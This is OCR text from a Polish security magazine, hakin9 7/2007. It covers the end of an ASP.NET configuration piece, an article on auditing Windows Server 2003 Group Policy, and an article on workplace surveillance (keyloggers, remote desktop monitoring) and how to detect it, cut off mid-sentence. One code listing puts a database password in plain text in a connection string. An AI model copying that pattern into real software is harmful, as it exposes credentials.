na lub przypomnienie zapomniane-
go hasła) l

Listing 4.

Defi nicja połączenia

do bazy danych w pliku

web.confi g po wykonaniu

polecenia aspnet_regiis

<connectionStrings>
<EncryptedData>
<CipherData>
<CipherValue>AQAAANCMndjHoAw
</CipherValue>
</CipherData>
</EncryptedData>
</connectionStrings>

Listing 5.

Kod połączenia z

bazą danych

SqlConnection cnxPolaczenie =
New SqlConnection

(

„Data Source=
ARTURZ02\SQLEXPRESS;
Initial Catalog=DeveloperDays;
Persist Security Info=

True

;

User

ID=dd_user;

Password

=haslo;”

)

;

background image

Media Systems

Firma Media Systems oferuje Państwu

profesjonalny system CashBill.pl,

umożliwiający zarządzanie usługami

SMS Premium Rate w sektorze B2B

i B2C.

Oferujemy również szeroki wachlarz

usług mikropłatniczych, płatności

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie

aplikacji mobilnych.

TTS Company Sp. z o.o.

Oprogramowanie

komputerowe -

sprzedaż, dystrybucja oraz import na

zamówienie. W ofercie programy au-

torstwa ponad stu fi rm z całego świa-

ta. Zapraszamy do współpracy - zostań

naszym klientem lub dostawcą.

www.OprogramowanieKomputerowe.pl

Zepter IT

Zepter IT to dynamicznie rozwijająca

się fi rma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy rozwiązania dla biznesu

i zarządzania takie jak systemy ERP

czyli zarządzanie zasobami fi rmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter IT świadczy również usługi in-

ternetowe - serwisy www, e-commerce,

tworzenie aplikacji internetowych oraz

systemów zarządzania treścią.

www.zepterit.com

Pr

en

um

er

at

a

PR

O

Prenumerata PRO

ko

nt

ak

t d

o

na

s:

m

ar

ty

na

.z

ac

ze

k@

so

ft

w

ar

e.

co

m

.p

l

ka

ta

rz

yn

a.

ju

sz

cz

yn

sk

a@

so

ft

w

ar

e.

co

m

.p

l

te

l.

: 2

2

88

7

13

4

5

background image

www.hakin9.org

hakin9 Nr 7/2007

40

Obrona

C

ałościowe spojrzenie na środowisko in-
formatyczne firmy pokazuje, że skła-
dają się na nie nie tylko serwery, ale

wszelkie, szeroko rozumiane zasoby uczestni-
czące w procesie przetwarzania informacji np.
stacje robocze, użytkownicy, drukarki etc. Stąd
zapewnienie bezpieczeństwa jest uzależnione
od mechanizmu spinającego wszystkie zaso-
by i wprowadzającego nad nimi jednolitą kon-
trolę. Takim mechanizmem kontrolnym w środo-
wisku Microsoft Windows Server jest Active Di-
rectory (AD).

GPO - klucz do

bezpieczeństwa

Active Directory jest zaawansowaną usługą ka-
talogową, czyli bazą danych obiektów o drze-
wiastej strukturze, reprezentującą infrastruktu-
rę teleinformatyczną firmy. W AD można ująć
takie obiekty, jak np. użytkownik, komputer,
udziały Sieciowe, drukarka oraz to, co nas bę-
dzie najbardziej interesować - obiekty polity-
ki grupy (Group Policy Object – GPO). Obiek-
ty GPO pozwalają na określenie zestawów
uprawnień dla użytkowników, komputerów i
serwerów znajdujących się w zasięgu ich dzia-
łania. Dzięki nim można kontrolować ustawie-

nia i środowisko systemów pracujących w do-
menie, dotyczy to więc takich zagadnień, jak
chociażby zasady haseł, przeprowadzanie in-
spekcji, konfiguracja protokołów, dystrybucja
oprogramowania i wielu innych. Główną korzy-
ścią, wynikającą z posługiwania się GPO jest
jednak ujednolicenie i zabezpieczenie infra-
struktury Sieci oraz środowiska pracy użytkow-
ników. Obiekty GPO mogą być podłączane do
lokalizacji (site), domen (domains) i jednostek
organizacyjnych (organization unit), przy czym
każdy z tych obiektów również może mieć pod-
łączonych wiele różnych obiektów GPO, któ-

Windows 2003 Server –

audyt GPO

Piotr Błaszczeć, Tadeusz Calanca

stopień trudności

Dziś, mimo że rzeczywiście wersje serwerowe przypominają

wyglądem swoje odpowiedniki znane z desktopów (o co ma

pretensje wielu z administratorów, wybierając przez to rozwiązania

oparte na różnych dystrybucjach Linux) wiele firm, a szczególnie

korporacji, w tym także takie, dla których bezpieczeństwo to sprawa

kluczowa, wdraża rozwiązania oparte na serwerach firmy Microsoft.

Z artykułu dowiesz się

• co to jest GPO ?
• jaki wpływ na bezpieczeństwo mają GPO ?
• jak szybko audytować struktury GPO ?

Co powinieneś wiedzieć

• podstawy administracji Windows Server,
• znajomości podstawowych zasad bezpieczeń-

stwa systemów IT.

background image

Audyt informatyczny środowiska GPO

hakin9 Nr 7/2007

www.hakin9.org

41

rych kolejność występowania moż-
na zmieniać. Zasięg działania po-
lityki zależy tu od położenia obiek-
tu w strukturze AD, ustawienia dzie-
dziczenia polityk oraz praw dostępu.
Obiekty GPO są domyślnie dziedzi-
czone, co oznacza, że skonfigurowa-
nie opcji w GPO na poziomie dome-
ny włączy je w jednostkach organi-
zacyjnych tej domeny. Zasady grup
przetwarzane są w następującej ko-
lejności: lokalny komputer, lokacja,
domena, jednostka organizacyjna
nadrzędna, jednostka organizacyj-
na podrzędna, przy czym kolejno
przetworzone obiekty GPO zastępu-
ją zasady ustawione wcześniej. Przy
zmianie ustawień GPO, komputery
odświeżają je bez konieczności re-
startu: na kontrolerach domeny co 5
minut, na pozostałych komputerach
co 90 minut wraz z losowym interwa-
łem czasowym maksymalnie wyno-
szącym 30 minut. Wyjątek stanowią
procesy instalacji oprogramowania i
przekierowania na ścieżki Sieciowe
niektórych folderów użytkowników
(folder redirection), które to proce-
sy zachodzą bezpośrednio przy star-
cie komputera i zalogowaniu użyt-
kownika. Można także wymusić na-

tychmiastowe odświeżenie zasad na
komputerze za pomocą narzędzia
konsolowego gpupdate.

Wszystkie ustawienia obiektu

GPO dostępne są w strukturze drze-
wiastej, można je jednak podzielić na
dwie główne gałęzie:

Computer Configuration – zasady

stosowane do każdego kompute-
ra, bez względu na to, który użyt-
kownik jest zalogowany; nakładane
podczas uruchomienia systemy,

User Configuration - stosowane

dla konkretnych użytkowników,
po uwierzytelnieniu tożsamości.

Microsoft zaleca, aby minimalizo-
wać ilość obiektów GPO, gdyż ich
przetwarzanie wpływa na wydaj-
ność i komplikuje zarządzanie Sie-
cią. Stąd propozycja utworzenia 3

warstw GPO:

• warstwa polityki domeny (Default

Domain Policy) zawierająca usta-
wienia parametrów bezpieczeń-
stwa wspólnych dla domeny, ta-
kich jak np. polityka haseł,

• warstwa polityki bazowej (baseli-

ne settings) – zawierająca usta-

wienia wspólne dla komputerów i
użytkowników w domenie,

• warstwa jednostki organizacyjnej

– zawierająca ustawienia specy-
ficzne dla danej jednostki organi-
zacyjnej.

Aby utworzyć i podłączyć obiekt
GPO uruchamiamy Active Directo-

ry Users and Computers, wybiera-
my Properties (właściwości) obiek-
tu, do którego chcemy podłączyć
GPO, a następnie zakładkę Group

Policy. Domyślnie do domeny dołą-
czony jest obiekt GPO o nazwie De-

fault Domain Policy. Na wszelki wy-
padek pozostawimy go bez zmian, a
stworzymy i dołączymy nowy obiekt
GPO.

Tworzymy nowy obiekt GPO za

pomocą przycisku New, określa-
my jego nazwę np. FIRMA-DDP, a
następnie przechodzimy do edyto-
ra Group Policy Object Editor przez
kliknięcie przycisku Edit. W ten spo-
sób uzyskujemy dostęp do całej kon-
figuracji obiektu GPO.

Dobrym przykładem ustawiania

parametrów GPO będzie wprowa-
dzenie polityki haseł. Problem ha-
seł to bardzo istotna sprawa nie tylko
dotycząca zabezpieczenia Sieci, ale
kluczowa również dla samych użyt-
kowników korporacji. Należy bowiem
pamiętać, że przy obecnym podej-
ściu do bezpieczeństwa i przykłada-
niu dużej wagi do informacji, podsta-
wą budowania jakichkolwiek polityk
czy też polis jest pełna rozliczalność
użytkowników. W 90% Sieci jedyną
ochroną identyfikatora (loginu) da-
nego użytkownika w Sieci pozosta-
je hasło. Parametry związane z po-
lityką haseł możemy ustalić na pod-
stawie zaleceń NSA (National Secu-

rity Agency) oraz uregulowań zwią-
zanych z ochroną danych osobo-
wych. Dysponując wytycznymi albo
polityką można przystąpić do konfi-
guracji GPO. Ustawienia GPO zwią-
zane z polityką haseł znajdują się
w gałęzi Computer Configuration\

Windows Settings\Account Policies\

Password Policy. I tak, chcąc przy-
kładowo zmienić ustawienie mini-
malnej długości hasła Minimum pas-

sword length, nawigujemy do klucza

Rysunek 1.

Dodawanie nowego obiektu GPO - zauważmy, że do domeny

podczepiony został już Default Domain Policy

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

42

Computer Configuration\Windows

Settings\Account Policies\Password

Policy\Minimum password length i
zmieniamy parametr (8 characters).
Podobnie postępujemy z innymi pa-
rametrami.

Zgodnie z polityką haseł, usta-

wiamy wszystkie inne parametry w
obiektach GPO, przy czym stosując
się do zaleceń Microsoftu, rozpo-
czynamy od ustawień dotyczących
obiektów w warstwie polityki dome-
ny. Zmiany w GPO mogą być do-
konywane także za pomocą narzę-
dzia Security Configuration Wizard
(SCW). SCW pozwala na podstawie
określonej roli serwera (WWW, kon-
troler domeny etc.) ustalić i wprowa-
dzić bazowy poziom bezpieczeń-
stwa. W ten sposób można bez-
piecznie skonfigurować system, nie
orientując się dokładnie w struk-
turach GPO. Dodatkowo podczas
konfigurowania systemu za pomo-
cą GPO można wykorzystać tzw.

Security Templates (ST). ST to nic
innego jak pewien szablon ustawień
mających wpływ na bezpieczeń-
stwo systemu. Ustawienia te kon-
figurowane za pomocą GPO mo-
gą być importowane do postaci ST.
W ten sposób można wielokrotnie z
nich korzystać, nie przechodząc za
każdym razem od początku całego
procesu konfigurowania GPO. Wraz
z systemem Windows 2003 Server
dostarczane są już gotowe szablo-
ny, które bez modyfikacji lub z ma-
łymi poprawkami mogą być z powo-
dzeniem stosowane w Sieciach. Do-
starczone szablony określają usta-
wienia zabezpieczeń na dwóch po-
ziomach:

• szablony bezpieczne (Secu-

re*.inf) - określają zaawanso-
wane ustawienia zabezpieczeń,
dla których prawdopodobieństwo
wpływu na zgodność aplikacji
jest niewielkie (np. ustawienia
haseł, blokowania i inspekcji),

• szablony bardzo bezpieczne (Hi-

sec*.inf) - są nadzbiorami sza-
blonów bezpiecznych i narzucają
dodatkowe ograniczenia na po-
ziomy szyfrowania i podpisywa-
nia, które są wymagane do uwie-

rzytelniania i dla danych przepły-
wających przez kanały zabez-
pieczone oraz między klientami
i serwerami SMB.

Globalizacja ustawień

GPO tworzy się z myślą o globaliza-
cji pewnych ustawień. Intencją owe-
go artykułu nie jest przedstawienie
krok po kroku, jak tworzyć ustawie-
nia, lecz zwrócenie uwagi na newral-
giczne miejsca, na które szczególnie
trzeba zwrócić uwagę. Przykładowo
przyjrzyjmy się kwestii synchroniza-
cji czasu w Sieci. Jak wiadomo, rozli-

czalność zasobów jest uwarunkowa-
na ustaleniem jednolitego czasu i je-
go synchronizowaniem. Tak więc w
Sieci podstawą jest stworzenie ser-
wera czasu, który będzie dyktował i
regulował czas na wszystkich koń-
cówkach. GPO pozwala na szybkie
wprowadzenie takiego mechanizmu
dla całej Sieci. Wystarczy przyjrzeć
się gałęzi Computer Configuration/

Administrative Components/System/

Windows Time Service.

Inny przykład zastosowania

GPO: nie jest tajemnicą, że najwięk-
szym zagrożeniem w czasie ochrony

Rysunek 2.

Struktura ustawień obiektów GPO

Rysunek 3.

Na początek ustawiamy parametr określający minimalną

długość hasła

background image

Audyt informatyczny środowiska GPO

hakin9 Nr 7/2007

www.hakin9.org

43

Sieci jest człowiek i jego nieumiejęt-
ne, przypadkowe lub świadome dzia-
łanie. Najbardziej skuteczna polity-

ka bezpieczeństwa jest polityką re-
strykcyjną i tak właśnie powinien być
ograniczony człowiek, by mógł ko-
rzystać tylko z tego, co jest mu nie-
zbędne. Dlatego też bardzo dobrą
praktyką jest zdefiniowanie global-
nych ustawień przeglądarki Siecio-
wej, a przede wszystkim Sieci.

GPO pozwalają na ustawienie

wielu innych parametrów o charak-
terze globalnym dla Sieci. Warto tu
wspomnieć choćby o konfigurowaniu
uprawnień dla usług i członkowstwa
w grupach, kontrolowaniu połączeń
w powolnych Sieciach czy też zarzą-
dzaniu połączeniami opartymi na pro-

tokole IPSec. Można także definiować
wygląd i ograniczenia pulpitów, ogra-
niczenia dla programów, ustawienia
panelu sterowania i operację przekie-
rowania folderów i wiele innych.

Dysponując bazowymi ustawie-

niami GPO dla domeny, w kolejnym
kroku należy stworzyć obiekty GPO
warstwy bazowej dla serwerów oraz
dla poszczególnych jednostek orga-
nizacyjnych. Dobrą praktyką jest też
stworzenie GPO w związku z rolą,
jaką pełnią serwery np. szczegóło-
wa polityka GPO dla serwerów we-
bowych IIS.

Audyt GPO

Obiekty GPO są elementem kluczo-
wym w zapewnieniu bezpieczeństwa
Sieci, stąd potrzeba ich regularnego
przeglądu i kontroli. Jak się okazuje,
audyt GPO dzięki dostarczanym przez
Microsoft narzędziom nie jest operacją
skomplikowaną. Podstawowym narzę-
dziem pracy administratora i audytora,
które pozwala na zarządzanie i doko-
nywanie przeglądu GPO w skali całej
firmy jest Group Policy Management

Console – GPMC (Konsola Zarządza-
nia Polityką Grupową). Narzędzie to
pozwala w praktyce na dowolne ope-
racje z obiektami GPO. To co w audy-
cie najbardziej istotne, to fakt, że dzięki
niemu możliwe jest sporządzenie bar-
dzo dokładnej dokumentacji wprowa-
dzonych obiektów GPO i ich ustawień,
a w dalszej kolejności – podczas prze-
prowadzania audytu bezpieczeństwa
– ich przegląd i ocena. GPMC posia-
da także możliwość planowania zmian
w zasadach grupy, co umożliwia m.in.
określenie skutków zmian w struk-
turach GPO, skutków przeniesienia
konta użytkownika do nowej jednost-
ki organizacyjnej czy zmiany kolejno-
ści przetwarzania obiektów GPO itd.
GPMC jest przystawką do Microsoft
Management Konsole i wymaga osob-
nej instalacji. Program jest dostępny
ze stron Microsoft Download Center.
Po zainstalowaniu, narzędzie Group

Policy Management Console dostęp-
ne jest w Administrative Tools (Narzę-
dzia administracyjne). Uruchomienie
programu przywołuje okno z struktu-
rą AD firmy oraz wszystkimi obiektami
GPO do nich podłączonymi. Przygoto-

Rysunek 4.

Konsola GPMC - tworzenie dokumentacji obiektów GPO

Rysunek 5.

Konsola GPMC - zobaczmy wynikowe ustawienia na stacji

O autorach

Piotr Błaszczeć – specjalista ds. Bezpie-
czeństwa IT, audytor systemów IT, bie-
gły sądowy, na co dzień Główny Specja-
lista Bezpieczeństwa w jednej z agencji
rządowych członek ISACA International.
Kontakt do autora: pb@locos.pl
Tadeusz Calanca – specjalista IT, au-
dytor IT, biegły sądowy, na co
dzień administrator bezpieczeństwa in-
formacji. Kontakt do autora:tc@locos.pl

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

44

wanie dokumentacji GPO jest bardzo
proste: po wybraniu wcześniej utwo-
rzonego i skonfigurowanego obiektu
GPO DDP – Firma, można uzyskać
w zakładce Settings gotowy wydruk
wprowadzonych ustawień w GPO.

Wydruk przygotowany w taki spo-

sób jest doskonałym materiałem na
check-listę wykorzystywaną podczas
audytu; pozwala na łatwe określenie,
czy systemy są skonfigurowane zgod-
nie z przyjętą polityką. Nie można jed-
nak zapomnieć o tym, że ustawienia
danej stacji czy danego serwera nie
zależą wyłącznie od jednego obiektu
GPO, lecz są wynikiem nałożenia się
wszystkich obiektów, mających z nim
związek. Stąd bardziej miarodajne sta-
je się przeprowadzenie audytu nie tyl-
ko samych obiektów GPO i ich odwo-

łań, ale także wprowadzonych na sta-
cjach ustawień. Audytor przeprowa-
dza próbkowanie i wybiera stacje, któ-
re podda badaniu. Potrzebuje jedynie
narzędzia, które pozwoli na uzyskanie
niezbędnych informacji ze stacji obję-
tych audytem. Konsola GPMC posiada
takie narzędzie. Jest to Group Policy
Results Wizard. Po wybraniu kompu-
tera, którego ma dotyczyć audyt, audy-
tor uzyskuje zbiorczą informację o tym,
jakie obiekty GPO były aplikowane, w
jakiej kolejności, a w rezultacie dowia-
duje się, jakie ustawienia GPO zostały
przypisane dla każdego komputera.

Poprzez porównanie owych infor-

macji z wcześniej zabraną dokumen-
tacją GPO, audytor może ocenić, czy
komputery są właściwie skonfiguro-
wane, czy podłączone są właściwe

obiekty GPO, a przede wszystkim, czy
założona polityka bezpieczeństwa jest
w Sieci skutecznie realizowana. Głów-
ną zaletą narzędzia GPMC jest jednak
fakt, że pozwala ono na dostęp do in-
formacji o ustawieniach bez możliwo-
ści ich zmiany np. przez generowanie
raportów. Na zlecenie audytora, admi-
nistrator realizuje przygotowanie ra-
portu, zaś sam audytor nie musi mieć
uprawnień administracyjnych.

Podsumowanie

Prawidłowo wdrożone i utrzymane
GPO warunkują bezpieczeństwo in-
frastruktury Windows Server. Szcze-
gólną rolę pełnią w tej kwestii przed-
stawione narzędzia. Początkujący ad-
ministrator z powodzeniem może wy-
korzystać Security Configuration Wiz-

zard do wprowadzenia podstawowych
zasad bezpieczeństwa. Bardziej biegli
administratorzy będą sami zmieniali
ustawienia w GPO, zaś audytorzy wy-
korzystają z pewnością Group Policy

Management Console.

Niniejszy artykuł w oczywisty spo-

sób nie wyczerpuje tematu bezpie-
czeństwa związanego z obiektami
GPO. Omówienie wszystkich możli-
wych ustawień to materiał na opasłą
księgę, w dodatku wiele z ustawień nie
ma charakteru uniwersalnego i ich za-
stosowanie jest uzależnione od spe-
cyfiki firmy. Intencją autorów nie by-
ło jednak pokazanie wszystkich moż-
liwości GPO, a jedynie unaocznienie,
jak potężnym narzędziem są obiekty
GPO i w jaki sposób można efektyw-
nie przeprowadzać audyt tych obiek-
tów. l

Rysunek 7.

Ustawianie serwera proxy dla Sieci

Rysunek 6.

Ustawianie czasu w Sieci

background image
background image

www.hakin9.org

hakin9 Nr 7/2007

46

Obrona

C

ałkiem niedawno naukowcy z współpra-
cującego z Uniwersytetem Oxfordzkim
Institute for the Future of the Mind opu-

blikowali raport, w którym stwierdzają, że wyko-
nywanie wielu czynności jednocześnie spowal-
nia naszą pracę i powoduje, że popełniamy wię-
cej błędów. Nie odkryli tu chyba niczego nowe-
go, gdyż zarządy dużych firm już dawno temu
stwierdziły, że jeśli osoba pracująca przy kompu-
terze ma wykonywać swe zadania efektywnie, to
trzeba ją pozbawić wszelkich potencjalnych źró-
deł rozproszeń. Zakaz używania komunikatorów,
prywatnej poczty czy przeglądania serwisów ze
śmiesznymi filmami to tylko początek tych dzia-
łań. Siadając przed monitorem komputera w du-
żej firmie, podłączamy się do bardzo skompliko-
wanego i wyrafinowanego systemu monitorowa-
nia naszej pracy. Wielki brat dokładnie wie, kie-
dy tę pracę zaczynamy i kiedy kończymy, wie, jak
ją wykonujemy i czy przypadkiem nie wysyłamy
maili do konkurencji. O tym, że się obijasz i grasz
w kulki zamiast pracować nie doniesie już nikt z
kolegów, ale komputer.

Sposoby podglądania

Nasi pracodawcy mogą podglądać naszą
pracę na wiele różnych sposobów, ale będą

wybierać głównie te, które są proste w imple-
mentacji, tanie oraz dokładnie pokażą, czy
i ile pracujemy. Do ich arsenału będą należały
wszelkie programy do zdalnego podglądania
zawartości dysków, keyloggery, systemy mo-
nitorowania działające podobnie jak zdalny
pulpit czy systemy statystyk pracy. Oczywi-
ście inwigilacja będzie też obejmowała naszą
aktywność w Internecie – od historii ostatnio
odwiedzonych stron, przez logi z wszyst-

Inwigilacja w pracy

Krzysztof Marzec

stopień trudności

Wszechobecny monitoring stał się znakiem naszych czasów.

Idąc na spacer do miasta łapiemy się w kadr kilkunastu kamer

- zaś nasza działalność w Internecie jest pod stałą obserwacją

zbierających dane robotów. Przyjrzyjmy się zatem czym

dysponuje nasz pracodawca w walce z naszym lenistwem i

układaniem pasjansa.

Z artykułu dowiesz się

• czy Twój szef podsłuchuje Cię w pracy,
• jakie są najpopularniejsze metody inwigilacji,
• jak wykryć podglądacza,
• jak skutecznie zabezpieczyć się przed inwigi-

lacją,

• czy podsłuchiwanie jest legalne.

Co powinieneś wiedzieć

• znać podstawowe zagadnienia systemów

operacyjnych, m.in. przeglądać listę procesów
systemowych, wyszukiwać pliki na dysku, anali-
zować aktywne połączenia sieciowe.

background image

Inwigilacja w pracy

hakin9 Nr 7/2007

www.hakin9.org

47

kich połączeń oraz przeglądanie
zawartości elementów wysłanych
i otrzymanych w naszej firmowej
skrzynce.

Załóżmy, że istnieje bardzo du-

ża i bardzo źle traktująca swoich
pracowników firma. Przyjrzyjmy się
dokładnie, co administratorzy jej
systemów mogą zrobić z danymi
przeciętnego pracownika.

Podglądanie

dokumentów

Najprostsza z technik inwigila-
cyjnych polega na zwykłym pod-
glądaniu zawartości dokumentów
znajdujących się na naszym kom-
puterze. Administrator może zdalnie
przeglądać pliki podejrzanego pra-
cownika bądź za pomocą modułu
w programie do zdalnego zarządza-
nia komputerem, bądź analizując
kopie zapasowe na serwerze. Jeśli
właśnie przygotowywaliśmy sobie
CV do wysłania do następnego
pracodawcy, to jest duża szansa,
że wpadnie ono w ręce obecnego,
zanim zdążymy je gdziekolwiek
wysłać. Wniosek jest prosty – prze-
chowywanie prywatnych plików na
komputerze w firmie nie jest dobrym
pomysłem.

Pamiętajmy, że zwykłe we-

wnętrzne hasła, jakimi zabezpie-
czamy nasze dokumenty są do-
syć łatwe do złamania. Jeśli na-
zwa pliku jest odpowiednio podej-
rzana, a administrator dysponu-
je odpowiednią ilością czasu, bę-
dzie mógł odszyfrować hasło me-
todą brute– force. Przy wyborze te-
go typu zabezpieczenia trzeba ko-
niecznie pamiętać o długim i skom-
plikowanym haśle.

Keyloggery

Keyloggery to programy, które
potrafią zapisać każdy wpisany
znak z klawiatury do pliku. Obec-
nie keyloggery potrafią stwierdzić,
czy dane słowo było wpisywane
w edytorze tekstu, czy też jako ad-
res w przeglądarce. Pamiętają za-
tem każdy nasz mail, każde miłosne
wyznanie i każde hasło. Zastosowa-
nie keyloggera nawet przez jeden
dzień na komputerze przeciętnego

pracownika da administratorom
dostęp do jego prywatnej poczty,
konta komunikatora czy konta ban-
kowego. A co, jeśli administrator ma
za dużo czasu? Może wówczas czy-
tać rozmowy z komunikatorów oraz
przeglądać wyrażane na forach
opinie o kierownictwie firmy.

Keyloggery wcale nie musza

być zainstalowanymi programami
– istnieją keyloggery sprzętowe. Są
to małe urządzenia, wyglądające
jak zwykła przełączka do kabla kla-
wiatury. W swojej pamięci potrafią
przechowywać wszystkie wpisy-
wane znaki, natomiast specjalne
oprogramowanie potrafi je z takiego
urządzenia odczytać. Jest to dosyć
radykalne rozwiązanie, nadające
się raczej do filmów szpiegowskich,
ale warto mieć świadomość jego
istnienia.

Monitoring pracy

– zdalny pulpit

Zdalny pulpit jest niesamowicie
przydatnym narzędziem – pozwala
na zarządzanie komputerem i pra-
cę na nim zupełnie tak, jakbyśmy
przy nim właśnie siedzieli. Za-
zwyczaj jego instalacja składa się
z dwóch komponentów – aplikacji
głównej na komputerze administra-
tora oraz klienta na komputerze,

jaki ma być monitorowany. Użycie
programu do podglądania czyjejś
pracy jest dosyć proste w realizacji
i pozwala na pełny monitoring jego
aktywności. Logując się na czyjąś
maszynę, co jest dla osoby pod-
glądanej działaniem niezauważal-
nym, widzimy dokładnie jak rusza
myszką, co pisze, jakie okienka ma
otwarte i jaki film właśnie ogląda.
Systemy takie pozwalają często na
pobranie pliku, który właśnie wypa-
trzyliśmy u kogoś na pulpicie. Pro-
gram ów działa zatem tak, jakby
ktoś cały czas stał za naszym ra-
mieniem i patrzył na naszą pracę.
Przerażające, prawda? Owszem,
nikt nie monitoruje ciągle naszego
komputera, ale sama świadomość,
że być może właśnie teraz jeste-
śmy na podglądzie, może być moc-
no stresująca.

Statystyki pracy

Nawet w tym momencie każda
przyciśnięta literka jest dodawa-
na przez mój Google Desktop do
wszystkich znaków dziś wciśnię-
tych. Wieczorem zobaczę, czy mo-
że pobiłem rekord. To samo z klik-
nięciem prawym i lewym przyci-
skiem myszy (średnio klika się 30
razy więcej lewym). Również pro-
gram Windows Uptime sprawdza,

Rysunek 1.

To mały i zgrabny keylogger sprzętowy. Czy taka przełączka nie

jest przypadkiem wpięta w Twojego firmowego PC?

background image

hakin9 Nr 7/2007

www.hakin9.org

Obrona

48

jak długo mój komputer dziś był
włączony i przez jaką część tego
czasu był nieużywany. Lubię zbie-
rać takie dane. Ale co stałoby się,
gdyby takimi danymi dysponował
mój szef? Dokładne daty włącze-
nia i wyłączenia komputera, daty
odejścia od maszyny na dłużej niż
5 minut. Wolałbym nie słuchać py-
tań, dlaczego danego dnia napisa-
łem 10.000 znaków, a innego tylko
2.000. Jednak takie oprogramowa-
nie istnieje i być może właśnie te-

raz mierzy, ile czasu Twój kompu-
ter nie pracuje, gdy czytasz ten ar-
tykuł. Lepiej więc poruszaj myszką
– pomyśli, że pracujesz.

Komunikatory

Prywatność rozmów za pomocą ko-
munikatorów prowadzonych w pra-
cy jest praktycznie zerowa. Admini-
strator może je podsłuchiwać i logo-
wać na różne sposoby: każdy napi-
sany wyraz będzie zalogowany przy
wysyłaniu z komputera, gdyż wie-

le komunikatorów nie szyfruje da-
nych. Dodatkowo keylogger zapisze
wszystkie wstukiwane literki, a mo-
że administrator podglądający nas
na zdalnym pulpicie też dołączy się
do pogaduszek?

Wiele osób nie zdaje sobie rów-

nież sprawy z tego, że aby dostać
się do archiwum wiadomości oraz
listy kontaktów popularnego komu-
nikatora Gadu-Gadu nie potrzeba
wcale znajomości hasła, gdyż dane
te znajdują się w niezaszyfrowa-
nych plikach.

Poczta firmowa

Czytanie poczty ze skrzynki fir-
mowej to jeden z najczęściej spo-
tykanych sposobów inwigilowania
pracowników. Był to jeden z pierw-
szych sposobów, który wzbudził
duże kontrowersje i spowodował
medialną dyskusję o inwigilacji
w pracy. Niestety – wiele firm za-
strzega w regulaminie pracy, że
skrzynka firmowa nie może być wy-
korzystywana do prywatnych celów
i firma ma pełne prawo do wglądu
we wszystkie wiadomości. Wiado-
mości są podglądane oczywiście
zdalnie, na serwerze. Spotykane
są też analizatory, czyli programy,
które szukają w mailach ciągów
znaków – np.: zawierających nazwy
konkurencyjnych firm czy monitoru-
jące adresy, pod jakie poczta jest
wysyłana. Ponieważ często poczta
prywatna jest wysyłana z niezabez-
pieczonych skrzynek bez szyfro-
wania, należy się liczyć z tym, że
może ona zostać przeczytana przez
osoby trzecie.

Sprawdzone

systemy firmowe

Na szczęście nie ma firm, w których
poziom inwigilacji byłby tak wysoki,
by używał wszystkich powyżej opi-
sanych opcji. Firmy korzystają ra-
czej ze sprawdzonych zintegrowa-
nych systemów do monitoringu sta-
cji roboczych. Dwie dosyć popular-
ne w Polsce to UpLook (www.uplo-

ok.net) i OkoSzefa (www.okosze-

fa.pl). Pierwszy z nich pozwala
sprawdzić, czy oprogramowanie za-
instalowane na komputerze jest na

Rysunek 2.

Program UpLook Zrzut ekranu programu UpLook

Rysunek 3.

Statystyka odwiedzonych stron WWW w programie Oko Szefa

background image

Inwigilacja w pracy

hakin9 Nr 7/2007

www.hakin9.org

49

pewno legalne, monitorować pro-
cesy oraz je wyłączać, podglądać
ekran użytkownika, przeglądać do-
kładną historię aktywności w Sieci
oraz ma moduł opisanych już wcze-
śniej statystyk czasu pracy i przerw.
Drugi – Oko Szefa, pozwala sta-
le monitorować i zapisywać zrzu-
ty ekranu ze zdalnie podglądanych
komputerów. Oferuje też możliwość
komunikacji z użytkownikami pod-
glądanych maszyn. Program potra-
fi także blokować dostęp do witryn,
usuwać tapetę, a nawet.. synchroni-
zować zegar systemowy.

Wykryć podglądacza

i zabezpieczyć się przed nim

Rozmowa kontrolowana rozmowa
kontrolowana. Kiedyś taki sygnał
oznajmiał dzwoniącym, że są nagry-
wani lub podsłuchiwani. W pracy, o
tym, że jesteśmy inwigilowani dowia-
dujemy się zwykle już za późno – na
dywaniku u szefa. Jak wcześniej wy-
kryć, że ktoś nas podsłuchuje? Jak
zabezpieczyć się przed taką inwigi-
lacją? Porady opisane tutaj mogą
przydać się również w domu czy ka-
wiarence internetowej.

Jeśli mamy jakieś dokumenty

na dysku, które chcemy tam ko-
niecznie przechować, a nie życzy-
my sobie, żeby ktokolwiek do nich
zaglądał, to najprostszym sposo-
bem jest ich spakowanie. Stwo-
rzenie za pomocą programu Win-
Rar archiwum zabezpieczonego
hasłem o odpowiednim stopniu
skomplikowania to popularny spo-
sób zabezpieczenia dokumentów.
Potrzeba dobrej maszyny i długie-
go czasu, żeby złamać takie ha-
sło. Inny sposób – bardziej pre-
wencyjny – to noszenie wszystkich
ważnych dokumentów na dyskach
przenośnych. Każdy program zapi-

sujący naszą aktywność na kom-
puterze musi gdzieś przechowy-
wać dane. Proste keyloggery za-
pisują je w niezakodowanych pli-
kach na dysku. Google Desktop
bez problemu odnajduje takie pli-
ki. Każdy prosty monitor systemu
może nam pokazać nagły wzrost
w pracy dysku, Sieci czy proce-
sora. Jeśli w danej chwili nic nie
robiliśmy, można spodziewać się,
że ktoś właśnie podłączył się pod
zdalny pulpit albo kopiuje dane z
naszego dysku.

Większość programów do inwi-

gilacji pracuje zdalnie i odłączenie
Sieci na chwilę, np. na jedno uło-
żenie pasjansa, spowoduje, że nikt
tego nie podejrzy. Wszelkie próby
podsłuchania rozmów w komunika-
torach bądź czytania prywatnych
maili za pomocą analizy pakie-
tów wysyłanych przez nasz kom-
puter możemy udaremnić, stosu-
jąc połączenia szyfrowane. Prze-
jęciu hasła za pomocą keyloggera
przeciwdziałamy, stosując wirtual-
ną klawiaturę.

Litery wybiera się wtedy za po-

mocą myszki z klawiatury wyświe-
tlanej na ekranie. Ten sposób na-
leżałoby praktycznie zawsze sto-
sować w kawiarenkach interneto-
wych. Co jednak ze zdalnym pul-
pitem? Jeśli mamy taką możli-
wość – stosujmy po prostu roz-
mowy głosowe. Przy standardo-
wych prawach dostępu, window-
sowym poleceniem netstat wypi-
szemy wszystkie połączenia na-
szego komputera w Sieci. Ich ana-
liza pozwoli sprawdzić, z kim łączy
się nasza maszyna. Do tych dzia-
łań dochodzą również możliwości
analizowania aktywnych procesów
w systemie i sprawdzenia każdego
z nich w Internecie. Programy do
inwigilacji, szczególnie te najwięk-
